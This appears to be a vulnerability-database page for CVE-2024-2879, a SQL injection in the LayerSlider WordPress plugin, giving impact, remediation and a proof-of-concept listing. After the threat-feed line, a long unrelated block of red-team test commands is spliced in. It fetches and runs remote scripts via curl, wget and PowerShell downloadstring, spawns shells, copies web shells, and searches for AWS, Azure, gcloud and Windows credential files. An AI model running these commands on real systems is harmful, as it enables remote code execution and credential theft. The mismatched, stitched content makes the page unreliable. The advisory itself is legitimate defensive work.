CVE-2024-2879
Overview
This vulnerability is a SQL Injection flaw arising from improper sanitization and escaping of user input within the LayerSlider WordPress plugin. Specifically, the ls_get_popup_markup action fails to adequately prepare or parameterize SQL queries, allowing direct injection of malicious SQL code. The affected component is the database query handling mechanism in LayerSlider versions 7.9.11 and 7.10.0.
Vulnerability Description
The LayerSlider plugin for WordPress is vulnerable to SQL Injection via the ls_get_popup_markup action in versions 7.9.11 and 7.10.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary SQL queries, potentially extracting sensitive data such as user credentials or site configuration. The flaw requires no privileges or user interaction (AV:N/AC:L/PR:N/UI:N), enabling full confidentiality, integrity, and availability compromise of the affected WordPress site's database. This can lead to data breaches, unauthorized data manipulation, and service disruption, severely impacting business operations and data security.
Solution
Users should upgrade the LayerSlider plugin to a patched version later than 7.10.0 as detailed in the vendor's release log at https://layerslider.com/release-log/. The Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/3fddf96e-029c-4753-ba82-043ca64b78d3) provides additional guidance on applying the update. No alternative mitigations or workarounds are documented; patching to the fixed version is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The LayerSlider plugin for WordPress has a significant vulnerability that allows for SQL Injection attacks through the ls_get_popup_markup action. This flaw arises from inadequate escaping of user-supplied parameters and insufficient preparation of the SQL query. When an attacker exploits this vulnerability, they can manipulate the SQL queries executed by the application, potentially appending their own queries to extract sensitive information from the underlying database. The affected versions, specifically 7.9.11 and 7.10.0, lack the necessary safeguards to prevent such unauthorized access, making it imperative for users to understand the technical intricacies of this vulnerability.
Attack vectors for this vulnerability are particularly concerning due to the fact that unauthenticated users can exploit it. An attacker could craft a malicious request that includes specially formatted input to the ls_get_popup_markup action. By doing so, they can inject additional SQL commands into the existing queries. This could lead to unauthorized data retrieval, such as user credentials, personal information, or other sensitive data stored in the database. The ease of exploitation, combined with the potential for significant data breaches, makes this vulnerability a serious threat to any organization using the LayerSlider plugin.
The real-world impact of this vulnerability is substantial, especially for businesses that rely on WordPress for their online presence. The ability to extract sensitive information can lead to severe consequences, including data breaches, loss of customer trust, and potential legal ramifications. Organizations may face financial losses due to remediation efforts, reputational damage, and regulatory fines if they are found to be non-compliant with data protection regulations. Furthermore, the exploitation of this vulnerability could serve as a gateway for further attacks, allowing malicious actors to escalate their privileges or pivot to other systems within the network.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. Regularly updating the LayerSlider plugin to the latest version is critical, as developers often release patches to address known vulnerabilities. Additionally, employing Web Application Firewalls (WAFs) can help filter out malicious requests before they reach the application. Conducting routine security assessments, including penetration testing and code reviews, can also identify potential vulnerabilities before they can be exploited. Furthermore, organizations should consider implementing strict input validation and output encoding practices to minimize the risk of SQL Injection attacks in their applications.
In conclusion, the vulnerability present in the LayerSlider plugin for WordPress highlights the ongoing challenges organizations face in securing their web applications. The combination of insufficient input handling and the potential for exploitation by unauthenticated users creates a significant risk that should not be overlooked. By understanding the technical details, recognizing the potential attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the threats posed by such vulnerabilities. It is essential for businesses to remain vigilant and proactive in their cybersecurity efforts to safeguard sensitive information and maintain the integrity of their systems.
Affected Products (2)
| Vendor | Product | Version | CPE | |
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Kreaturamedia | Layerslider | 7.9.11 |
cpe:2.3:a:kreaturamedia:layerslider:7.9.11:*:*:*:*:wordpress:*:*
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Kreaturamedia | Layerslider | 7.10.0 |
cpe:2.3:a:kreaturamedia:layerslider:7.10.0:*:*:*:*:wordpress:*:*
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GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
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herculeszxc/CVE-2024-2879
CVE-2024-2879 - LayerSlider 7.9.11 - 7.10.0 - Unauthenticated SQL Injection
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herculeszxc | 23 | 3 | 2024-04-08 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
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Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
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References (3)
| Title | Tags | URL |
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| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2024-2879 |
| wordfence.com |
GitHub CVE
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https://www.wordfence.com/threat-intel/vulnerabilities/id/3fddf96e-029c-4753-ba82-043ca64b78d3?source=cve |
| layerslider.com |
GitHub CVE
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https://layerslider.com/release-log/ |